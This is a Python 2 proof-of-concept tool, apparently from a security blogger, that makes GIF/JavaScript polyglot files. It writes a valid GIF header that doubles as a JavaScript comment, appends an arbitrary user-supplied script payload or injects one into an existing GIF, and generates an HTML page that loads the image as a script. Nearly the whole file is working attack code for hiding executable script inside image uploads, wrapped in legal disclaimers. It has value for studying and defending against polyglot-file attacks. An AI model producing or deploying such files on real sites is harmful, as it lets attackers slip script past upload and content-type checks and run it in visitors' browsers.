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| 1 | #!/usr/bin/env python2 | |
| 2 | #============================================================================================================# | |
| 3 | #======= Simply injects a JavaScript Payload into a GIF. ====================================================# | |
| 4 | #======= or it creates a JavaScript Payload as a GIF. ====================================================# | |
| 5 | #======= The resulting GIF must be a valid (not corrupted) GIF. =============================================# | |
| 6 | #======= Author: marcoramilli.blogspot.com ==================================================================# | |
| 7 | #======= Version: PoC (don't even think to use it in development env.) ======================================# | |
| 8 | #======= Disclaimer: ========================================================================================# | |
| 9 | #THIS IS NOT PEP3 FORMATTED | |
| 10 | #THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR | |
| 11 | #IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED | |
| 12 | #WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE | |
| 13 | #DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, | |
| 14 | #INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES | |
| 15 | #(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR | |
| 16 | #SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) | |
| 17 | #HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, | |
| 18 | #STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING | |
| 19 | #IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE | |
| 20 | #POSSIBILITY OF SUCH DAMAGE. | |
| 21 | #===========================================================================================================# | |
| 22 | import argparse | |
| 23 | import os | |
| 24 | ||
| 25 | ||
| 26 | #--------------------------------------------------------- | |
| 27 | def _hexify(num): | |
| 28 | """ | |
| 29 | Converts and formats to hexadecimal | |
| 30 | """ | |
| 31 | num = "%x" % num | |
| 32 | if len(num) % 2: | |
| 33 | num = '0'+num | |
| 34 | return num.decode('hex')
| |
| 35 | ||
| 36 | ||
| 37 | #--------------------------------------------------------- | |
| 38 | def _generate_and_write_to_file(payload, fname): | |
| 39 | """ | |
| 40 | Generates a fake but valid GIF within scriting | |
| 41 | """ | |
| 42 | f = open(fname, "wb") | |
| 43 | header = (b'\x47\x49\x46\x38\x39\x61' #Signature + Version GIF89a | |
| 44 | b'\x2F\x2A' #Encoding /* it's a valid Logical Screen Width | |
| 45 | b'\x0A\x00' #Smal Logical Screen Height | |
| 46 | b'\x00' #GCTF | |
| 47 | b'\xFF' #BackgroundColor | |
| 48 | b'\x00' #Pixel Ratio | |
| 49 | b'\x2C\x00\x00\x00\x00\x2F\x2A\x0A\x00\x00\x02\x00\x3B' #GlobalColorTable + Blocks | |
| 50 | b'\x2A\x2F' #Commenting out */ | |
| 51 | b'\x3D\x31\x3B' # enable the script side by introducing =1; | |
| 52 | ) | |
| 53 | trailer = b'\x3B' | |
| 54 | # I made this explicit, step by step . | |
| 55 | f.write(header) | |
| 56 | f.write(payload) | |
| 57 | f.write(trailer) | |
| 58 | f.close() | |
| 59 | return True | |
| 60 | ||
| 61 | ||
| 62 | #--------------------------------------------------------- | |
| 63 | def _generate_launching_page(f): | |
| 64 | """ | |
| 65 | Creates the HTML launching page | |
| 66 | """ | |
| 67 | htmlpage =""" | |
| 68 | <html> | |
| 69 | <head><title>Opening an image</title> </head> | |
| 70 | <body> | |
| 71 | <img src=\"""" + f + """_malw.gif\"\> | |
| 72 | <script src= \"""" + f + """_malw.gif\"> </script> | |
| 73 | </body> | |
| 74 | </html> | |
| 75 | """ | |
| 76 | html = open("run.html", "wb")
| |
| 77 | html.write(htmlpage); | |
| 78 | html.close() | |
| 79 | return True | |
| 80 | ||
| 81 | ||
| 82 | #--------------------------------------------------------- | |
| 83 | def _inject_into_file(payload, fname): | |
| 84 | """ | |
| 85 | Injects the payload into existing GIF | |
| 86 | NOTE: if the GIF contains \xFF\x2A and/or \x2A\x5C might caouse issues | |
| 87 | """ | |
| 88 | # I know, I can do it all in memory and much more fast. | |
| 89 | # I wont do it here. | |
| 90 | with open(fname + "_malw.gif", "w+b") as fout: | |
| 91 | with open(fname, "rt") as fin: | |
| 92 | for line in fin: | |
| 93 | ls1 = line.replace(b'\x2A\x2F', b'\x00\x00') | |
| 94 | ls2 = ls1.replace(b'\x2F\x2A', b'\x00\x00') | |
| 95 | fout.write(ls2) | |
| 96 | fout.seek(6,0) | |
| 97 | fout.write(b'\x2F\x2A') #/* | |
| 98 | ||
| 99 | f = open(fname + "_malw.gif", "a+b") #appending mode | |
| 100 | f.write(b'\x2A\x2F\x3D\x31\x3B') | |
| 101 | f.write(payload) | |
| 102 | f.write(b'\x3B') | |
| 103 | f.close() | |
| 104 | return True | |
| 105 | ||
| 106 | ||
| 107 | #--------------------------------------------------------- | |
| 108 | if __name__ == "__main__": | |
| 109 | parser = argparse.ArgumentParser() | |
| 110 | parser.add_argument("filename",help="the gif file name to be generated/or infected")
| |
| 111 | parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")
| |
| 112 | parser.add_argument("-i", "--inject-to-existing-gif", action="store_true", help="inject into the current gif")
| |
| 113 | args = parser.parse_args() | |
| 114 | print("""
| |
| 115 | |======================================================================================================| | |
| 116 | | [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal. | | |
| 117 | | It is the end user's responsibility to obey all applicable local, state and federal laws. | | |
| 118 | | Authors assume no liability and are not responsible for any misuse or damage caused by this program | | |
| 119 | |======================================================================================================| | |
| 120 | """ | |
| 121 | ) | |
| 122 | if args.inject_to_existing_gif: | |
| 123 | _inject_into_file(args.js_payload, args.filename) | |
| 124 | else: | |
| 125 | _generate_and_write_to_file(args.js_payload, args.filename) | |
| 126 | ||
| 127 | _generate_launching_page(args.filename) | |
| 128 | print "[+] Finished!" |
